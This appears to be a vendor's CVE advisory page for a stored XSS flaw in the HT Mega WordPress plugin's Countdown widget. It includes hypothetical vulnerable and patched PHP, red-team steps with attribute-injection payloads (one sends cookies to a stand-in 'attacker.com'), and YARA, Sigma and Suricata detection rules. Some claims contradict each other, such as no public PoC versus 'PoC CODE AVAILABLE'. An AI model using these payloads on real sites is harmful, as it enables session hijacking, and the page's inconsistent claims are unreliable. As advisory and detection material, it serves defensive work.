CVE-2024-12599
Executive Summary
CVE-2024-12599 is a Stored Cross-Site Scripting (XSS) vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin, affecting all versions up to and including 2.8.1. The flaw resides in the plugin's Countdown widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs contributor-level access.
- User Interaction: None (UI:N) – No user action needed for exploitation.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability to execute arbitrary scripts in the context of a WordPress admin session could lead to privilege escalation or site takeover.
Deep Dive & Mechanics
The vulnerability exists in the Countdown widget of the HT Mega plugin. The widget accepts user-defined attributes (e.g., data-date, data-label) that are rendered directly into the HTML output without proper sanitization or escaping. An attacker with contributor-level access can create or edit a page containing the Countdown widget and inject malicious JavaScript into these attributes.
Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes in the Countdown widget's rendering function.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new page or edits an existing one.
- Attacker adds the HT Mega Countdown widget.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a widget attribute. - The payload is stored in the WordPress database.
- When any user (including admins) visits the page, the script executes in their browser.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious domains.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (hypothetical):
// In countdown-widget.php
public function render_countdown($atts) {
$date = $atts['date'];
echo '<div class="ht-countdown" data-date="' . $date . '">...</div>';
}
Patched Code (hypothetical):
// In countdown-widget.php
public function render_countdown($atts) {
$date = esc_attr($atts['date']);
echo '<div class="ht-countdown" data-date="' . $date . '">...</div>';
}
The patched version uses esc_attr() to escape the attribute value, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with HT Mega plugin version <= 2.8.1.
- Contributor-level account credentials.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Pages > Add New.
- Add the HT Mega Countdown widget to the page.
- In the widget settings, inject the following payload into the "Date" attribute:
" onfocus="alert(1)" autofocus=" - Publish the page.
- When any user visits the page, the script executes.
Alternative Payload (session cookie theft):
" onfocus="document.location='http://attacker.com/steal.php?c='+document.cookie" autofocus="
Blue Team
Detection:
- Monitor for unusual widget attribute values in page/post content.
- Look for patterns like
onfocus,onload,<script>in thewp_poststable. - Use the detection rules provided below.
Hunting:
- Query the WordPress database for posts containing the
ht-mega-countdownshortcode and inspect the attributes. - Check for recent contributor-level account activity creating or editing pages with the Countdown widget.
Lab Setup:
- Install WordPress locally (e.g., using Docker).
- Install HT Mega plugin version 2.8.1.
- Create a contributor account and test the exploit.
Indicators of Compromise (IOCs)
File Indicators:
- Modified
wp-content/plugins/ht-mega-for-elementor/files (check file integrity). - Suspicious entries in
wp_poststable withpost_contentcontaininght-mega-countdownand script tags.
- Modified
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Unusual referrer headers or user-agent strings.
Log Indicators:
- WordPress debug log entries showing unexpected output in widget rendering.
- Web server access logs showing requests to pages with the Countdown widget.
Detection Engineering
YARA Rule
rule CVE_2024_12599_HT_Mega_XSS {
meta:
description = "Detects stored XSS payloads in HT Mega Countdown widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12599"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /on\w+\s*=\s*["'][^"']*["']/i
$widget = "ht-mega-countdown"
condition:
$widget and ($payload1 or $payload2)
}
Sigma Rule
title: CVE-2024-12599 - Stored XSS in HT Mega Countdown Widget
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in WordPress posts containing HT Mega Countdown widget
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: GET
http.url|contains:
- "ht-mega-countdown"
- "onfocus"
- "onload"
- "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget attributes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12599 - HT Mega Countdown Stored XSS"; flow:to_server,established; content:"ht-mega-countdown"; http_uri; pcre:"/(<script|on\w+\s*=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to operations.
- Restrict contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in widget attributes.
Long-term Fix:
- Apply the official patch once released by the vendor.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Workaround:
- Manually edit the plugin file to add
esc_attr()to the vulnerable attribute output (see patched code example).
Monitoring:
- Enable WordPress audit logging to track page/post modifications.
- Regularly scan for malicious content in the database.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.